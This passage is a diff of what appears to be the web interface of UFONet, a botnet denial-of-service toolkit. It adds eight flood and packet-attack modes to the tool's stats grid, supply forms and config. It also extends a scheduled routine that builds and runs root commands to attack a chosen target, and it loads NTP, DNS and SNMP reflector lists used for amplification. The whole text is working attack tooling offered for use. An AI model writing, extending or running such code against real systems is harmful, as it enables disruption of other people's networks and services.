not ufoudp present + grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation) try: grid_contact = "View" # js contact view (obfuscation) except: @@ -859,6 +924,22 @@ def generate_grid(self): grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation) grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation) + grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present + grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation) + grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present + grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation) + grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present + grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation) + grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present + grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation) + grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present + grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation) + grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present + grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation) + grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present + grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation) + grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present + grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation) try: grid_contact = "View" # js contact view (obfuscation) except: @@ -884,6 +965,22 @@ def generate_grid(self): grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation) grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation) + grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present + grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation) + grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present + grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation) + grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present + grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation) + grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present + grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation) + grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present + grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation) + grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present + grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation) + grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present + grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation) + grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present + grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation) try: grid_contact = "View" # js contact view (obfuscation) except: @@ -909,6 +1006,22 @@ def generate_grid(self): grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation) grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation) + grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present + grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation) + grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present + grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation) + grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present + grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation) + grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present + grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation) + grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present + grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation) + grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present + grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation) + grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present + grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation) + grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present + grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation) try: grid_contact = "View" # js contact view (obfuscation) except: @@ -934,6 +1047,22 @@ def generate_grid(self): grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation) grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation) + grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present + grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation) + grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present + grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation) + grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present + grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation) + grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present + grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation) + grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present + grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation) + grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present + grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation) + grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present + grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation) + grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present + grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation) grid_contact = "View" # js contact view (obfuscation) try: grid_id = m[12] # id (plain id) @@ -956,6 +1085,22 @@ def generate_grid(self): grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation) grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation) + grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present + grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation) + grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present + grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation) + grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present + grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation) + grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present + grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation) + grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present + grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation) + grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present + grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation) + grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present + grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation) + grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present + grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation) grid_contact = "View" # js contact view (obfuscation) try: grid_id = m[11] # id (plain id) @@ -978,6 +1123,22 @@ def generate_grid(self): grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation) grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation) + grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present + grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation) + grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present + grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation) + grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present + grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation) + grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present + grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation) + grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present + grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation) + grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present + grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation) + grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present + grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation) + grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present + grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation) grid_contact = "View" # js contact view (obfuscation) try: grid_id = m[10] # id (plain id) @@ -985,7 +1146,7 @@ def generate_grid(self): grid_id = "invalid!" else: # no valid version pass - grid_table += "" + grid_table += "" else: # not valid stream data pass grid_table += "
NICKNAME:RANK:CHARGO:DORKING:TRANSF:MAX.CHARGO:MISSIONS:ATTACKS:LOIC:LORIS:UFOSYN:SPRAY:SMURF:XMAS:NUKE:TACHYON:MONLIST:FRAGGLE:SNIPER:UFOACK:UFORST:DROPER:OVERLAP:PINGER:UFOUDP:CONTACT:
"+str(grid_nickname)+""+str(grid_ranking)+""+str(grid_totalchargo)+""+str(grid_dorking)+""+str(grid_transferred)+""+str(grid_maxchargo)+""+str(grid_missions)+""+str(grid_attacks)+""+str(grid_loic)+""+str(grid_loris)+""+str(grid_ufosyn)+""+str(grid_spray)+""+str(grid_smurf)+""+str(grid_xmas)+""+str(grid_nuke)+""+str(grid_tachyon)+""+str(grid_monlist)+""+str(grid_contact)+"
"+str(grid_nickname)+""+str(grid_ranking)+""+str(grid_totalchargo)+""+str(grid_dorking)+""+str(grid_transferred)+""+str(grid_maxchargo)+""+str(grid_missions)+""+str(grid_attacks)+""+str(grid_loic)+""+str(grid_loris)+""+str(grid_ufosyn)+""+str(grid_spray)+""+str(grid_smurf)+""+str(grid_xmas)+""+str(grid_nuke)+""+str(grid_tachyon)+""+str(grid_monlist)+""+str(grid_fraggle)+""+str(grid_sniper)+""+str(grid_ufoack)+""+str(grid_uforst)+""+str(grid_droper)+""+str(grid_overlap)+""+str(grid_pinger)+""+str(grid_ufoudp)+""+str(grid_contact)+"
" @@ -994,7 +1155,7 @@ def generate_grid(self): if unknown_members == 0: unknown_members = "¿?" l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time - mother_grid = "

MOTHERSHIP STATS: (Last Update: "+str(l)+")

MEMBERS:"+str(mothership_members)+"-"+str(unknown_members)+"*¿?**¿?***¿?****¿?¿?

MISSIONS:¿?ATTACKS:¿?CHARGO (ACTIVE!):¿?DORKING:¿?TRANSF:¿?MAX.CHARGO:¿?

LOIC:¿?LORIS:¿?UFOSYN:¿?SPRAY:¿?SMURF:¿?
XMAS:¿?NUKE:¿?TACHYON:¿?MONLIST:¿?



" + mother_grid = "

MOTHERSHIP STATS: (Last Update: "+str(l)+")

MEMBERS:"+str(mothership_members)+"-"+str(unknown_members)+"*¿?**¿?***¿?****¿?¿?

MISSIONS:¿?ATTACKS:¿?CHARGO (ACTIVE!):¿?DORKING:¿?TRANSF:¿?MAX.CHARGO:¿?

LOIC:¿?LORIS:¿?UFOSYN:¿?SPRAY:¿?SMURF:¿?
XMAS:¿?NUKE:¿?TACHYON:¿?MONLIST:¿?
FRAGGLE:¿?SNIPER:¿?UFOACK:¿?UFORST:¿?
DROPER:¿?OVERLAP:¿?PINGER:¿?UFOUDP:¿?



" grid_table = mother_grid + grid_table + "
" return grid_table @@ -1246,6 +1407,14 @@ def html_wargames(self): document.getElementById("supply_nuke").readOnly = false; document.getElementById("supply_tachyon").readOnly = false; document.getElementById("supply_monlist").readOnly = false; + document.getElementById("supply_fraggle").readOnly = false; + document.getElementById("supply_sniper").readOnly = false; + document.getElementById("supply_ufoack").readOnly = false; + document.getElementById("supply_uforst").readOnly = false; + document.getElementById("supply_droper").readOnly = false; + document.getElementById("supply_overlap").readOnly = false; + document.getElementById("supply_pinger").readOnly = false; + document.getElementById("supply_ufoudp").readOnly = false; document.getElementById("supply_edit").title = "Set global army supply..." document.getElementById("supply_edit").value = "SET" document.getElementById("supply_edit").innerHTML = "SET!" @@ -1260,6 +1429,14 @@ def html_wargames(self): supply_nuke=document.getElementById("supply_nuke").value supply_tachyon=document.getElementById("supply_tachyon").value supply_monlist=document.getElementById("supply_monlist").value + supply_fraggle=document.getElementById("supply_fraggle").value + supply_sniper=document.getElementById("supply_sniper").value + supply_ufoack=document.getElementById("supply_ufoack").value + supply_uforst=document.getElementById("supply_uforst").value + supply_droper=document.getElementById("supply_droper").value + supply_overlap=document.getElementById("supply_overlap").value + supply_pinger=document.getElementById("supply_pinger").value + supply_ufoudp=document.getElementById("supply_ufoudp").value if(isNaN(parseFloat(supply_botnet)) || parseFloat(supply_botnet) < 0) { window.alert("You need to enter a valid BOTNET supply number (int>=0)"); return @@ -1275,7 +1452,7 @@ def html_wargames(self): if(isNaN(parseFloat(supply_ufosyn)) || parseFloat(supply_ufosyn) < 0) { window.alert("You need to enter a valid UFOSYN supply number (int>=0)"); return - }else{ + }else{ if(isNaN(parseFloat(supply_spray)) || parseFloat(supply_spray) < 0) { window.alert("You need to enter a valid SPRAY supply number (int>=0)"); return @@ -1299,23 +1476,71 @@ def html_wargames(self): if(isNaN(parseFloat(supply_monlist)) || parseFloat(supply_monlist) < 0) { window.alert("You need to enter a valid MONLIST supply number (int>=0)"); return + }else{ + if(isNaN(parseFloat(supply_fraggle)) || parseFloat(supply_fraggle) < 0) { + window.alert("You need to enter a valid FRAGGLE supply number (int>=0)"); + return + }else{ + if(isNaN(parseFloat(supply_sniper)) || parseFloat(supply_sniper) < 0) { + window.alert("You need to enter a valid SNIPER supply number (int>=0)"); + return + }else{ + if(isNaN(parseFloat(supply_ufoack)) || parseFloat(supply_ufoack) < 0) { + window.alert("You need to enter a valid UFOACK supply number (int>=0)"); + return + }else{ + if(isNaN(parseFloat(supply_uforst)) || parseFloat(supply_uforst) < 0) { + window.alert("You need to enter a valid UFORST supply number (int>=0)"); + return + }else{ + if(isNaN(parseFloat(supply_droper)) || parseFloat(supply_droper) < 0) { + window.alert("You need to enter a valid DROPER supply number (int>=0)"); + return + }else{ + if(isNaN(parseFloat(supply_overlap)) || parseFloat(supply_overlap) < 0) { + window.alert("You need to enter a valid OVERLAP supply number (int>=0)"); + return + }else{ + if(isNaN(parseFloat(supply_pinger)) || parseFloat(supply_pinger) < 0) { + window.alert("You need to enter a valid PINGER supply number (int>=0)"); + return + }else{ + if(isNaN(parseFloat(supply_ufoudp)) || parseFloat(supply_ufoudp) < 0) { + window.alert("You need to enter a valid UFOUDP supply number (int>=0)"); + return }else{ document.getElementById("supply_botnet").readOnly = true; document.getElementById("supply_loic").readOnly = true; document.getElementById("supply_loris").readOnly = true; document.getElementById("supply_ufosyn").readOnly = true; - document.getElementById("supply_spray").readOnly = true; - document.getElementById("supply_smurf").readOnly = true; - document.getElementById("supply_xmas").readOnly = true; - document.getElementById("supply_nuke").readOnly = true; - document.getElementById("supply_tachyon").readOnly = true; - document.getElementById("supply_monlist").readOnly = true; + document.getElementById("supply_spray").readOnly = true; + document.getElementById("supply_smurf").readOnly = true; + document.getElementById("supply_xmas").readOnly = true; + document.getElementById("supply_nuke").readOnly = true; + document.getElementById("supply_tachyon").readOnly = true; + document.getElementById("supply_monlist").readOnly = true; + document.getElementById("supply_fraggle").readOnly = true; + document.getElementById("supply_sniper").readOnly = true; + document.getElementById("supply_ufoack").readOnly = true; + document.getElementById("supply_uforst").readOnly = true; + document.getElementById("supply_droper").readOnly = true; + document.getElementById("supply_overlap").readOnly = true; + document.getElementById("supply_pinger").readOnly = true; + document.getElementById("supply_ufoudp").readOnly = true; document.getElementById("supply_edit").title = "Edit global army supply..." document.getElementById("supply_edit").value = "EDIT" document.getElementById("supply_edit").innerHTML = "EDIT" - params="botnet="+escape(supply_botnet)+"&loic="+escape(supply_loic)+"&loris="+escape(supply_loris)+"&ufosyn="+escape(supply_ufosyn)+"&spray="+escape(supply_spray)+"&smurf="+escape(supply_smurf)+"&xmas="+escape(supply_xmas)+"&nuke="+escape(supply_nuke)+"&tachyon="+escape(supply_tachyon)+"&monlist="+escape(supply_monlist) + params="botnet="+escape(supply_botnet)+"&loic="+escape(supply_loic)+"&loris="+escape(supply_loris)+"&ufosyn="+escape(supply_ufosyn)+"&spray="+escape(supply_spray)+"&smurf="+escape(supply_smurf)+"&xmas="+escape(supply_xmas)+"&nuke="+escape(supply_nuke)+"&tachyon="+escape(supply_tachyon)+"&monlist="+escape(supply_monlist)+"&fraggle="+escape(supply_fraggle)+"&sniper="+escape(supply_sniper)+"&ufoack="+escape(supply_ufoack)+"&uforst="+escape(supply_uforst)+"&droper="+escape(supply_droper)+"&overlap="+escape(supply_overlap)+"&pinger="+escape(supply_pinger)+"&ufoudp="+escape(supply_ufoudp) runCommandX("cmd_edit_supply",params) setTimeout("Decrypt_wargames()", 2000) + } + } + } + } + } + } + } + } } } } @@ -1962,6 +2187,14 @@ def wargames_engage_routine(self, wargames_engage_list): # check jobs when gui r flag_nuke = None flag_tachyon = None flag_monlist = None + flag_fraggle = None + flag_sniper = None + flag_ufoack = None + flag_uforst = None + flag_droper = None + flag_overlap = None + flag_pinger = None + flag_ufoudp = None for job in wargames_engage_list: job_t2 = job.rsplit(sep, 1)[0] job_creation = job_t2.rsplit(sep, 1)[0] @@ -1994,7 +2227,7 @@ def wargames_engage_routine(self, wargames_engage_list): # check jobs when gui r except: print('[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]') with open(self.mothership_supplycfg_file, "w") as f: - json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0}, f, indent=4) + json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0, "fraggle": 0, "sniper": 0, "ufoack": 0, "uforst": 0, "droper": 0, "overlap": 0, "pinger": 0, "ufoudp": 0}, f, indent=4) with open(self.mothership_supplycfg_file) as data_file: data = json.load(data_file) self.supply_botnet = data["botnet"] @@ -2007,11 +2240,43 @@ def wargames_engage_routine(self, wargames_engage_list): # check jobs when gui r self.supply_nuke = data["nuke"] self.supply_tachyon = data["tachyon"] self.supply_monlist = data["monlist"] + self.supply_fraggle = data["fraggle"] + self.supply_sniper = data["sniper"] + self.supply_ufoack = data["ufoack"] + self.supply_uforst = data["uforst"] + self.supply_droper = data["droper"] + self.supply_overlap = data["overlap"] + self.supply_pinger = data["pinger"] + self.supply_ufoudp = data["ufoudp"] job_estimated_dec = strftime("%d-%m-%Y %H:%M:%S", job_estimated_dec) print("[Info] [Wargames] Time is over: [" + str(job_estimated_dec) + "] -> Engaging target: " + str(job_target_dec)) cmd = "" nonroot_cmd = python_version + " -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" " root_cmd = "sudo "+ python_version+" -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" " + if int(self.supply_fraggle) > 0: + cmd += "--fraggle " +str(self.supply_fraggle)+ " " + flag_fraggle = True + if int(self.supply_sniper) > 0: + cmd += "--sniper " +str(self.supply_sniper)+ " " + flag_sniper = True + if int(self.supply_ufoack) > 0: + cmd += "--ufoack " +str(self.supply_ufoack)+ " " + flag_ufoack = True + if int(self.supply_uforst) > 0: + cmd += "--uforst " +str(self.supply_uforst)+ " " + flag_uforst = True + if int(self.supply_droper) > 0: + cmd += "--droper " +str(self.supply_droper)+ " " + flag_droper = True + if int(self.supply_overlap) > 0: + cmd += "--overlap " +str(self.supply_overlap)+ " " + flag_overlap = True + if int(self.supply_pinger) > 0: + cmd += "--pinger " +str(self.supply_pinger)+ " " + flag_pinger = True + if int(self.supply_ufoudp) > 0: + cmd += "--ufoudp " +str(self.supply_ufoudp)+ " " + flag_ufoudp = True if int(self.supply_monlist) > 0: cmd += "--monlist " +str(self.supply_monlist)+ " " flag_monlist = True @@ -2037,10 +2302,10 @@ def wargames_engage_routine(self, wargames_engage_list): # check jobs when gui r cmd += "--loris " +str(self.supply_loris)+ " " if int(self.supply_loic) > 0: cmd += "--loic " +str(self.supply_loic)+ " " - if not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn: + if not flag_fraggle and not flag_sniper and not flag_ufoack and not flag_uforst and not flag_droper and not flag_overlap and not flag_pinger and not flag_ufoudp and not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn: cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS) - if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True: - cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST) + if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True or flag_fraggle == True or flag_sniper == True or flag_ufoack == True or flag_uforst == True or flag_droper == True or flag_overlap == True or flag_pinger == True or flag_ufoudp == True: + cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST, FRAGGLE, SNIPER, UFOACK, UFORST, DROPER, OVERLAP, PINGER, UFOUDP) runcmd = cmd + " " runcmd = runcmd + "--force-yes &" # no raw_input allowed on webgui (+run it as daemon!) print("[Info] [Wargames] Running command:", runcmd, "\n") @@ -2177,6 +2442,9 @@ def __init__(self): self.droids_file = "botnet/droids.txt" # set source path to retrieve 'droids' self.ucavs_file = "botnet/ucavs.txt" # set source path to retrieve 'ucavs' self.rpcs_file = "botnet/rpcs.txt" # set source path to retrieve 'rpcs' + self.ntps_file = "botnet/ntp.txt" # set source path to retrieve 'ntps' + self.dnss_file = "botnet/dns.txt" # set source path to retrieve 'dns' + self.snmps_file = "botnet/snmp.txt" # set source path to retrieve 'snmps' self.release_date_file = "docs/release.date" # set source path to retrieve release date self.news = "data/news.txt" # set source path to retrieve server news self.missions = "data/missions.txt" # set source path to retrieve server missions @@ -2362,6 +2630,14 @@ def __init__(self): self.anuke = data["nuke"] self.atachyon = data["tachyon"] self.amonlist = data["monlist"] + self.afraggle = data["fraggle"] + self.asniper = data["sniper"] + self.aufoack = data["ufoack"] + self.auforst = data["uforst"] + self.adroper = data["droper"] + self.aoverlap = data["overlap"] + self.apinger = data["pinger"] + self.aufoudp = data["ufoudp"] self.tcrashed = data["crashed"] if int(self.acompleted) > 0: # check for attacks completed self.mothership_acc = Decimal((int(self.tcrashed) * 100) / int(self.acompleted)) # decimal rate: crashed*100/completed @@ -2437,7 +2713,43 @@ def __init__(self): self.list_rpcs.append(name_rpc) self.num_rpcs = str(len(self.rpcs)) f.close() - self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs)) + f = open(self.ntps_file) + self.ntps = f.readlines() + self.ntps = [ntp.replace('\n', '') for ntp in self.ntps] + self.list_ntps = [] + for ntp in self.ntps: + t = urlparse(ntp) + name_ntp = t.netloc + if "www." in name_ntp: + name_ntp = name_ntp.replace("www.","") + self.list_ntps.append(name_ntp) + self.num_ntps = str(len(self.ntps)) + f.close() + f = open(self.dnss_file) + self.dnss = f.readlines() + self.dnss = [dns.replace('\n', '') for dns in self.dnss] + self.list_dnss = [] + for dns in self.dnss: + t = urlparse(dns) + name_dns = t.netloc + if "www." in name_dns: + name_dns = name_dns.replace("www.","") + self.list_dnss.append(name_dns) + self.num_dnss = str(len(self.dnss)) + f.close() + f = open(self.snmps_file) + self.snmps = f.readlines() + self.snmps = [snmp.replace('\n', '') for snmp in self.snmps] + self.list_snmps = [] + for snmp in self.snmps: + t 